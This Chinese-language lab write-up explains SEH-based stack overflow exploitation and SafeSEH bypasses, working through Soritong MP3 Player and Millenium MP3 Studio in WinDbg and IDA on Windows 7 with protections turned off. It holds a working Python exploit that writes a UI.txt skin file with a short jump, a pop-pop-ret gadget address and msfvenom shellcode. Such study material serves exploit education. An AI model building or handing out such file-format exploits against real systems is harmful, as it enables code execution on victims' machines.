0x00 环境搭建

戏剧家洪深说:我的梦想,是明年吃苦的能力比今年更强。Part3Part3b 都是以真实漏洞为例,讲解了一下SEH的原理和基于SEH的漏洞利用。在这里推荐去看《逆向工程核心原理》的第48章结合案例调试理解SEH的原理,再结合《0day》的相关章节了解SEH和safaSEH的利用和绕过方法。

因为xp sp2往后,微软引入了SEH的安全校验机制safeSEH,需要操作系统和编译的双重支持。在《0day》中也很详细地说明了在safeSEH下Rt1IsValidHandler函数允许异常处理函数执行的情况:

  1. 异常处理函数位于加载模块内存范围之外,DEP关闭。
  2. 异常处理函数位于加载模块内存范围之内,相应模块未启用safeSEH,同时相应模块不是纯IL。
  3. 异常处理函数位于加载模块内存范围之内,相应模块启用safeSEH,异常处理函数地址包含在安全SEH表中。

对应给出的绕过方案为(均不考虑DEP):

  1. 利用加载模块之外的地址。
  2. 利用未启用safeSEH模块中的地址。
  3. 清空安全SEH表或注册指令地址至安全SEH表中。
  4. 攻击返回地址、利用虚函数、从堆中绕过等其他通往罗马的大路。

同时,《0day》在SEH的章节中还讲解了线程的异常处理(遍历SEH)、进程的异常处理、系统默认的异常处理、VEH和异常处理流程总结,都是值得一读的全局观知识。后文的实验环境还是在关闭安全机制的win7上进行的,而且SEHOP保护机制在win7中是默认关闭的,暂且不表。

0x01 漏洞利用原理

代表SEH的结构体定义如下:

typedef struct _EXCEPTION_REGISTRATION_RECORD
{
    PEXCEPTION_REGISTRATION_RECORD Next;
    PEXCEPTION_DISPOSITION Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD; 

基于SEH的漏洞利用基本上是将Next的4个字节覆盖为短跳加nop填充,handler覆盖为pop pop ret的gadget地址。为什么pop pop ret后eip就会转去短跳执行shellcode呢,先让我们来看看SEH异常处理函数的定义:

EXCEPTION_DISPOSITION _exception_handler
(
    EXCEPTION_RECORD *pRecord,
    EXCEPTION_REGISTRATION_RECORD *pFrame,
    CONTEXT *pContext,
    PVOID pValue
);

在触发异常后调用异常处理函数,肯定会把相应的参数压栈,考虑到返回地址,esp+8处的地址也就指向了Frame,所以ret后eip转而去执行其上的代码,而pFrame正是指向我们溢出覆盖的Next Record,一个短跳越过可能被破坏的栈空间后,即可执行shellcode了。

《0day》中并没有详细提及该漏洞利用背后的原理,当初我做这个实验的时候也只是调通了而已,再次温习SEH相关知识后才有了进一步了认识。当然,在Part3中也专门介绍了一下其能够漏洞利用的原因,微软的博客上也有清晰的解释:Preventing the Exploitation of Structured Exception Handler (SEH) Overwrites with SEHOP

0x02 漏洞案例

原文中的漏洞案例都是利用未开启safeSEH模块中的地址,在调试过程中可以关注一下寄存器相互xor的情况,短跳之前栈空间的破坏情况。

example A

example A是在Part3中下载的Soritong MP3 Player,在win 7上运行的时候一开始提示缺少wmaudsdk.dll、DRMClien.DLL、strmdll.dll这三个dll,逐一去dll4free上面下载就可以了。

将生成的5000字节patter作为UI.txt放置在SoriTong/Skin/Default目录下,然后在windbg中执行打开并恢复程序执行后,和预期一样发生了异常将控制权交给调试器:

(d98.748): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=0012fb08 edx=77f070b4 esi=fffffffe edi=00000000
eip=77f604f6 esp=0012fb24 ebp=0012fb50 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - 
ntdll!LdrVerifyImageMatchesChecksum+0x633:
77f604f6 cc              int     3
0:000> g
ModLoad: 41840000 4185f000   C:\Windows\system32\IMM32.DLL
ModLoad: 70990000 70a5c000   C:\Windows\system32\MSCTF.dll
ModLoad: 6ce70000 6ceb0000   C:\Windows\system32\uxtheme.dll
ModLoad: 40e50000 40e63000   C:\Windows\system32\dwmapi.dll
ModLoad: 10000000 1000c000   C:\Windows\system32\CRYPTBASE.dll
ModLoad: 75c00000 75d9e000   C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.DLL
ModLoad: 6c980000 6c9b9000   C:\Windows\system32\MMDevAPI.DLL
ModLoad: 1d300000 1d3f5000   C:\Windows\system32\PROPSYS.dll
ModLoad: 41bc0000 41bf0000   C:\Windows\system32\wdmaud.drv
ModLoad: 40300000 40304000   C:\Windows\system32\ksuser.dll
ModLoad: 75400000 75407000   C:\Windows\system32\AVRT.dll
ModLoad: 734b0000 7364d000   C:\Windows\system32\SETUPAPI.dll
ModLoad: 6d000000 6d027000   C:\Windows\system32\CFGMGR32.dll
ModLoad: 05040000 05052000   C:\Windows\system32\DEVOBJ.dll
ModLoad: 6cd40000 6cd76000   C:\Windows\system32\AUDIOSES.DLL
ModLoad: 40280000 40288000   C:\Windows\system32\msacm32.drv
ModLoad: 40ba0000 40bb4000   C:\Windows\system32\MSACM32.dll
ModLoad: 40290000 40297000   C:\Windows\system32\midimap.dll
ModLoad: 02b40000 02bd4000   C:\Program Files\SoriTong\Player.DLL
ModLoad: 42100000 42129000   C:\Program Files\SoriTong\wmaudsdk.dll
ModLoad: 097e0000 09821000   C:\Program Files\SoriTong\DRMClien.DLL
ModLoad: 5bc60000 5bc9f000   C:\Program Files\SoriTong\strmdll.dll
ModLoad: 3fd10000 3fd17000   C:\Windows\system32\WSOCK32.dll
ModLoad: 41ac0000 41af5000   C:\Windows\system32\WS2_32.dll
ModLoad: 40160000 40166000   C:\Windows\system32\NSI.dll
ModLoad: 41c80000 41cb2000   C:\Windows\system32\TAPI32.dll
(d98.748): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130000 ebx=00000003 ecx=00000042 edx=00000042 esi=002c5504 edi=0012fd2c
eip=00422e33 esp=0012d9dc ebp=0012fd00 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
*** WARNING: Unable to verify checksum for SoriTong.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for SoriTong.exe - 
SoriTong!TmC13_5+0x3ea3:
00422e33 8810            mov     byte ptr [eax],dl          ds:0023:00130000=41

提示是非法的内存访问,看寄存器是没什么问题,可能是对应内存地址处没有写权限,也可以验证一下:

0:000> !address 00130000 
Usage:                  MemoryMappedFile
Allocation Base:        00130000
Base Address:           00130000
End Address:            00134000
Region Size:            00004000
Type:                   00040000	MEM_MAPPED
State:                  00001000	MEM_COMMIT
Protect:                00000002	PAGE_READONLY
Mapped file name:       PageFile

紧接着查看SEH链可以确定偏移为584:

0:000> !exchain
0012fd2c: 41367441
Invalid exception stack at 35744134
0:000> db 0012fd2c-0n584-0n16 L20
0012fad4  f4 fa 12 00 3f 39 45 00-11 00 00 00 00 00 00 00  ....?9E.........
0012fae4  41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41  Aa0Aa1Aa2Aa3Aa4A

因为有了栈溢出才会向下覆盖至SEH Handler,所以漏洞点肯定在发生异常的附近。可以在SoriTong!TmC13_5中下断点,或者在栈地址0012fae4下硬件断点,又或者在IDA中寻找UI.txt的交叉引用都可以找到漏洞函数:

int __usercall sub_422D44@<eax>(int a1@<eax>, int a2@<edx>, int a3@<ecx>, char a4@<sil>, int a5, int a6, LPCSTR lpString2)
{
  int result; // eax@2
  int v8; // eax@3
  int v9; // ebx@3
  __int32 v10; // eax@5
  char *v11; // esi@5
  char *v12; // eax@6
  char v13; // dl@11
  int v14; // ecx@11
  int v15; // eax@16
  signed int v16; // ebx@18
  int v17; // edx@19
  char *j; // eax@34
  int v19; // edx@35
  int k; // ebx@51
  const char *v21; // esi@54
  CHAR String; // [sp+0h] [bp-231Ch]@55
  char v23[8192]; // [sp+100h] [bp-221Ch]@18
  char s; // [sp+2100h] [bp-21Ch]@6
  char v25[255]; // [sp+2101h] [bp-21Bh]@33
  CHAR String1; // [sp+2200h] [bp-11Ch]@3
  char *i; // [sp+2300h] [bp-1Ch]@18
  int v28; // [sp+2304h] [bp-18h]@18
  int v29; // [sp+2308h] [bp-14h]@18
  int v30; // [sp+230Ch] [bp-10h]@6
  LPSTR lpString1; // [sp+2310h] [bp-Ch]@5
  HGLOBAL v32; // [sp+2314h] [bp-8h]@3
  HGLOBAL hMem; // [sp+2318h] [bp-4h]@3

  if ( a6 )
  {
    hMem = GlobalAlloc(0x40u, 0x8000u);
    v32 = GlobalAlloc(0x40u, 0x8000u);
    lstrcpyA(&String1, lpString2);
    lstrcatA(&String1, aUi_txt_11);
    v8 = j____open(&String1, 0, a4);
    v9 = v8;
    if ( v8 >= 0 )
    {
      v10 = filelength(v8);
      j____read(v9, hMem, v10);
      j____close(v9);
      v11 = (char *)hMem;
      lpString1 = (LPSTR)v32;
      lstrcpyA((LPSTR)v32, &byte_4AA13F);
      while ( *v11 )
      {
        v30 = 0;
        memset(&s, 0, 0x100u);
        v12 = &s;
        while ( 1 )
        {
          v13 = *v11;
          v14 = *v11;
          if ( v14 == 13 || v14 == 10 || !v13 )
            break;
          if ( v14 == 9 )
            *v12 = 32;
          else
            *v12 = v13;
          ++v30;
          ++v12;
          ++v11;
        }

首先是读取UI.txt中的内容至堆上,然后在第二个while循环中将堆上的文件内容每次一字节地存储至固定的栈上,造成栈溢出,向下覆盖了SEH Handler,最后把栈空间打满导致异常。

现在偏移也有了,直接使用msfpescan或ROPgadget在Player.DLL中寻找pop pop ret的地址:

0:000> lm m Player
start    end        module name
02b40000 02bd4000   Player   C (export symbols)       C:\Program Files\SoriTong\Player.DLL
0:000> s 02b40000 02bd4000 5f 5e c3
02b4e0d2  5f 5e c3 8b 47 78 85 c0-75 05 33 c0 5f 5e c3 8b  _^..Gx..u.3._^..
02b4e0de  5f 5e c3 8b 07 8b cf ff-10 8b f0 85 f6 7c 07 8b  _^...........|..
02b4e0f6  5f 5e c3 cc cc cc cc cc-cc cc 53 56 57 8b f1 55  _^........SVW..U
02b506fb  5f 5e c3 cc cc 8b 44 24-08 8b 54 24 04 50 8b 49  _^....D$..T$.P.I
02b50cab  5f 5e c3 cc cc 41 e8 6a-fe ff ff a8 01 74 05 d1  _^...A.j.....t..
......
0:000> u 02b4e0d2 L3
Player+0xe0d2:
02b4e0d2 5f              pop     edi
02b4e0d3 5e              pop     esi
02b4e0d4 c3              ret

有了偏移和ppt的地址还需要调试一下,看看在异常处理过程中是否会对shellcode部分产生破坏,同时也可以验证一下如果只是单纯覆盖过返回地址乃至SEH Handler,而不把栈空间打满,在最后函数返回的时候会不会触发异常进而执行我们覆盖的异常处理函数,生成的UI.txt如下:

padding = "A" * 584
next_SEH = "\xcc" * 4
handler = "\xd2\xe0\xb4\x02"    # 02b4e0d2"

payload = padding + next_SEH + handler

with open("UI.txt", "w") as f:
    f.write(payload)

Windbg中打开恢复执行后,发现程序并不会产生异常,甚至在sub_422D44函数的返回地址00423142处下断点也没能断下来,说明还是得在shellcode后面加上另一部分的junk,把栈打满后产生异常才能劫持eip。随即就可以断下来了,而且并没有对shellcode部分产生破坏:

(d58.48c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130000 ebx=00000003 ecx=00000042 edx=00000042 esi=00205504 edi=0012fd2c
eip=00422e33 esp=0012d9dc ebp=0012fd00 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
*** WARNING: Unable to verify checksum for SoriTong.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for SoriTong.exe - 
SoriTong!TmC13_5+0x3ea3:
00422e33 8810            mov     byte ptr [eax],dl          ds:0023:00130000=41
0:000> g
(d58.48c): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=02b4e0d2 edx=77f071cd esi=0012d580 edi=77f071b9
eip=0012fd2c esp=0012d4a4 ebp=0012d4b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0012fd2c cc              int     3
0:000> d eip
0012fd2c  cc cc cc cc d2 e0 b4 02-42 42 42 42 42 42 42 42  ........BBBBBBBB
0012fd3c  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0012fd4c  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0012fd5c  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0012fd6c  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0012fd7c  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0012fd8c  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0012fd9c  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB

剩下的就是短跳加shellcode了,但需要注意的是在我们逆向清楚漏洞原理时,应该察觉到影响while循环的字符\x00\x09\x0a\x0d都是坏字符,在生成shellcode时应规避掉:

padding = "A" * 584
next_SEH = "\xeb\x06\x90\x90"
handler = "\xd2\xe0\xb4\x02"    # 02b4e0d2 pop pop ret
junk = "B" * 1000

# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x09\x0a\x0d' -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 220 (iteration=0)
# x86/shikata_ga_nai chosen with final size 220
# Successfully added NOP sled from x86/single_byte
# Payload size: 236 bytes
# Final size of python file: 1280 bytes
shellcode =  ""
shellcode += "\x43\x27\x2f\x43\x2f\x99\x4a\x27\xfd\x93\x49\x2f"
shellcode += "\x41\x99\xf5\xfc\xd9\xe8\xd9\x74\x24\xf4\x5a\x33"
shellcode += "\xc9\xbb\x6f\xde\x10\xce\xb1\x31\x83\xc2\x04\x31"
shellcode += "\x5a\x14\x03\x5a\x7b\x3c\xe5\x32\x6b\x42\x06\xcb"
shellcode += "\x6b\x23\x8e\x2e\x5a\x63\xf4\x3b\xcc\x53\x7e\x69"
shellcode += "\xe0\x18\xd2\x9a\x73\x6c\xfb\xad\x34\xdb\xdd\x80"
shellcode += "\xc5\x70\x1d\x82\x45\x8b\x72\x64\x74\x44\x87\x65"
shellcode += "\xb1\xb9\x6a\x37\x6a\xb5\xd9\xa8\x1f\x83\xe1\x43"
shellcode += "\x53\x05\x62\xb7\x23\x24\x43\x66\x38\x7f\x43\x88"
shellcode += "\xed\x0b\xca\x92\xf2\x36\x84\x29\xc0\xcd\x17\xf8"
shellcode += "\x19\x2d\xbb\xc5\x96\xdc\xc5\x02\x10\x3f\xb0\x7a"
shellcode += "\x63\xc2\xc3\xb8\x1e\x18\x41\x5b\xb8\xeb\xf1\x87"
shellcode += "\x39\x3f\x67\x43\x35\xf4\xe3\x0b\x59\x0b\x27\x20"
shellcode += "\x65\x80\xc6\xe7\xec\xd2\xec\x23\xb5\x81\x8d\x72"
shellcode += "\x13\x67\xb1\x65\xfc\xd8\x17\xed\x10\x0c\x2a\xac"
shellcode += "\x7e\xd3\xb8\xca\xcc\xd3\xc2\xd4\x60\xbc\xf3\x5f"
shellcode += "\xef\xbb\x0b\x8a\x54\x33\x46\x97\xfc\xdc\x0f\x4d"
shellcode += "\xbd\x80\xaf\xbb\x81\xbc\x33\x4e\x79\x3b\x2b\x3b"
shellcode += "\x7c\x07\xeb\xd7\x0c\x18\x9e\xd7\xa3\x19\x8b\xbb"
shellcode += "\x22\x8a\x57\x12\xc1\x2a\xfd\x6a"

payload = padding + next_SEH + handler + shellcode + junk

with open("UI.txt", "w") as f:
    f.write(payload)

最后要注意一点是,因为ppt的地址是硬编码player.dll中的地址,而player.dll的ImageBase为0x10000000,很容易产生rebase,会导致exploit不是太稳定。也考虑过直接将SEH Handler的地址覆盖为堆上接收文件内容的地址,但其堆的地址存在\x00字节会跳出while循环,进而不会产生异常,也就无法利用了:

Breakpoint 0 hit
eax=00714fe8 ebx=00000000 ecx=0dced752 edx=00000000 esi=0050db8c edi=0012fd2c
eip=00422d7b esp=0012d9dc ebp=0012fd00 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
SoriTong!TmC13_5+0x3deb:
00422d7b 8945fc          mov     dword ptr [ebp-4],eax ss:0023:0012fcfc=0050e4b8
0:000> ub 00422d7b
SoriTong!TmC13_5+0x3dd1:
00422d61 56              push    esi
00422d62 837d0c00        cmp     dword ptr [ebp+0Ch],0
00422d66 7507            jne     SoriTong!TmC13_5+0x3ddf (00422d6f)
00422d68 33c0            xor     eax,eax
00422d6a e9ce030000      jmp     SoriTong!TmC13_5+0x41ad (0042313d)
00422d6f 6800800000      push    8000h
00422d74 6a40            push    40h
00422d76 e8018f0700      call    SoriTong!SystemTDateTimeDecodeTime$xqqrpust1t1t1+0x1a8 (0049bc7c)

example B

Part3b中利用的Millenium MP3 Studio中的溢出漏洞,通过超长的poc文件引发程序异常,可以很常规地走完SEH的利用流程。但原文在最后留下了一个小练习,利用直接覆盖eip的方法来完成利用,challenge accepted。

能够覆盖SEH Handler,在引发异常后利用,从本质上来说还是一种溢出漏洞,所以肯定会覆盖在栈上保存的返回地址。首先可以减少poc中payload的长度,期望在调试器中接收到的第一个异常是eip指向了非法的内存地址,借此回溯栈帧尝试逆推至漏洞点。

使用二分法依次减少payload长度:

padding = "http://"
with open("pattern.txt") as f:
    pattern = f.read().strip()

payload = padding + pattern[:2000]

with open("crash.mpf", "w") as f:
    f.write(payload)

调试过程中发现,不断减少payload乃至100的长度,SEH Handler没有被覆盖,但总是会出现同样的一个异常:

(994.fec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=014512f0 ecx=1003a918 edx=00000007 esi=014512f0 edi=00000000
eip=1000e9be esp=0461ff80 ebp=0461ff94 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** WARNING: Unable to verify checksum for C:\mp3-millennium\xaudio.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\mp3-millennium\xaudio.dll - 
xaudio!xaudio_get_api_version+0x40ee:
1000e9be 8b470c          mov     eax,dword ptr [edi+0Ch] ds:0023:0000000c=????????
0:006> !exchain
0461ffc4: ntdll!_except_handler4+0 (77ede0ed)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (77f37eeb)
                func:   ntdll!__RtlUserThreadStart+63 (77f38260)
Invalid exception stack at ffffffff

有必要在IDA中深究一下原因了:

.text:1000E9AF
.text:1000E9AF loc_1000E9AF:
.text:1000E9AF push    edi
.text:1000E9B0 push    esi             ; name
.text:1000E9B1 call    gethostbyname
.text:1000E9B6 push    esi             ; void *
.text:1000E9B7 mov     edi, eax
.text:1000E9B9 call    _free
.text:1000E9BE mov     eax, [edi+0Ch]

eax为0引发的异常,也就是gethostbyname函数没用得到正确的结果,造成一个空指针引用。有经验的同学可以推断出可能是poc中的http://字段没有hostname导致的,在我将padding的内容替换成http://www.baidu.com/index.php# 后,期望的异常就发生了:

(888.a2c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=42366842 ebx=013f0ddc ecx=00000000 edx=0344fce1 esi=013f0a18 edi=04481860
eip=42326842 esp=0344f8f8 ebp=002bc760 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
42326842 ??              ???
0:002> db esp-10
0344f8e8  42 67 38 42 67 39 42 68-30 42 68 31 42 68 32 42  Bg8Bg9Bh0Bh1Bh2B
0344f8f8  68 33 42 68 34 42 68 35-42 68 36 42 68 37 42 68  h3Bh4Bh5Bh6Bh7Bh
0344f908  38 42 68 39 42 69 30 42-69 31 42 69 32 42 69 33  8Bh9Bi0Bi1Bi2Bi3
0344f918  42 69 34 42 69 35 42 69-36 42 69 37 42 69 38 42  Bi4Bi5Bi6Bi7Bi8B
0344f928  69 39 42 6a 30 42 6a 31-42 6a 32 42 6a 33 42 6a  i9Bj0Bj1Bj2Bj3Bj
0344f938  34 42 6a 35 42 6a 36 42-6a 37 42 6a 38 42 6a 39  4Bj5Bj6Bj7Bj8Bj9
0344f948  42 6b 30 42 6b 31 42 6b-32 42 6b 33 42 6b 34 42  Bk0Bk1Bk2Bk3Bk4B
0344f958  6b 35 42 6b 36 42 6b 37-42 6b 38 42 6b 39 42 6c  k5Bk6Bk7Bk8Bk9Bl

进一步计算得到偏移为996。老方法对保存返回地址处的栈地址0344f8f84下硬件断点,几经调试发现这个栈地址有时候会加上一个偏移,有时候会断不下来,有个小技巧是先查看对应线程部分的栈地址范围再下断点。随即可知在10017c75处是漏洞触发的最深点,IDA中查看对应函数的功能为写入1个字节:

(46c.c94): Break instruction exception - code 80000003 (first chance)
eax=7ffab000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=0461ff5c ebp=0461ff88 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
77ef40f0 cc              int     3
0:016> !address -f:stack

                                     
Failed to map Heaps (error 80004005)

  BaseAddr EndAddr+1 RgnSize     Type       State                 Protect             Usage
-------------------------------------------------------------------------------------------
   30000   129000    f9000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.ac0; ~0]
  129000   12a000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.ac0; ~0]
  12a000   130000     6000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.ac0; ~0]
 2b40000  2c3a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.7a8; ~1]
 2c3a000  2c3c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.7a8; ~1]
 2c3c000  2c40000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.7a8; ~1]
 2c40000  2d3a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.988; ~2]
 2d3a000  2d3c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.988; ~2]
 2d3c000  2d40000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.988; ~2]
 2d40000  2e3a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.c74; ~3]
 2e3a000  2e3c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.c74; ~3]
 2e3c000  2e40000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.c74; ~3]
 2e40000  2f3a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.8c8; ~4]
 2f3a000  2f3c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.8c8; ~4]
 2f3c000  2f40000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.8c8; ~4]
 2f40000  303a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.8e4; ~5]
 303a000  303c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.8e4; ~5]
 303c000  3040000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.8e4; ~5]
 3450000  354a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.d44; ~6]
 354a000  354c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.d44; ~6]
 354c000  3550000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.d44; ~6]
 3550000  364a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.454; ~7]
 364a000  364c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.454; ~7]
 364c000  3650000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.454; ~7]
 3650000  374a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.a0c; ~8]
 374a000  374c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.a0c; ~8]
 374c000  3750000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.a0c; ~8]
 3750000  384a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.28c; ~9]
 384a000  384c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.28c; ~9]
 384c000  3850000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.28c; ~9]
 3850000  394a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.778; ~10]
 394a000  394c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.778; ~10]
 394c000  3950000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.778; ~10]
 3950000  3a4a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.890; ~11]
 3a4a000  3a4c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.890; ~11]
 3a4c000  3a50000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.890; ~11]
 3a50000  3b4a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.9e0; ~12]
 3b4a000  3b4c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.9e0; ~12]
 3b4c000  3b50000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.9e0; ~12]
 3f20000  401a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.90; ~13]
 401a000  401c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.90; ~13]
 401c000  4020000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.90; ~13]
 4020000  411a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.610; ~14]
 411a000  411c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.610; ~14]
 411c000  4120000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.610; ~14]
 4320000  441a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.f88; ~15]
 441a000  441c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.f88; ~15]
 441c000  4420000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.f88; ~15]
 4520000  461a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [46c.c94; ~16]
 461a000  461c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [46c.c94; ~16]
 461c000  4620000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [46c.c94; ~16]

0:016> ba w1 0354f8f4
0:016> bl
 0 e 0354f8f4 w 1 0001 (0001)  0:**** 
0:016> g
Breakpoint 0 hit
eax=0354f9dc ebx=00000000 ecx=0000007f edx=0000007f esi=04940840 edi=014d0000
eip=77f15f71 esp=0354f8f4 ebp=0354f914 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
ntdll!RtlpCoalesceFreeBlocks+0x9:
77f15f71 8b5d0c          mov     ebx,dword ptr [ebp+0Ch] ss:0023:0354f920=04940840
0:006> g
Breakpoint 0 hit
eax=10008160 ebx=014e0d6c ecx=0354f960 edx=0354ff04 esi=014e09a8 edi=014e0dee
eip=10008160 esp=0354f8f4 ebp=014e0dcc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
*** WARNING: Unable to verify checksum for C:\mp3-millennium\xaudio.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\mp3-millennium\xaudio.dll - 
xaudio!memory_input_module_register+0x5e0:
10008160 81ec00040000    sub     esp,400h
0:006> db 0354f8f4 L10
0354f8f4  70 ec 00 10 04 ff 54 03-00 00 00 00 00 00 00 00  p.....T.........
0:006> g
Breakpoint 0 hit
eax=00000000 ebx=014e0d6c ecx=00000050 edx=014e0de0 esi=0354f8e8 edi=014e0de0
eip=1000e83b esp=0354f8b0 ebp=014e0dcc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
xaudio!xaudio_get_api_version+0x3f6b:
1000e83b 66c7060200      mov     word ptr [esi],2         ds:0023:0354f8e8=013d
0:006> db 0354f8f4 L10
0354f8f4  00 00 00 00 c4 ec 00 10-88 0d 4e 01 e0 0d 4e 01  ..........N...N.
0:006> g
ModLoad: 40aa0000 40ab0000   C:\Windows\system32\NLAapi.dll
ModLoad: 01900000 01910000   C:\Windows\system32\napinsp.dll
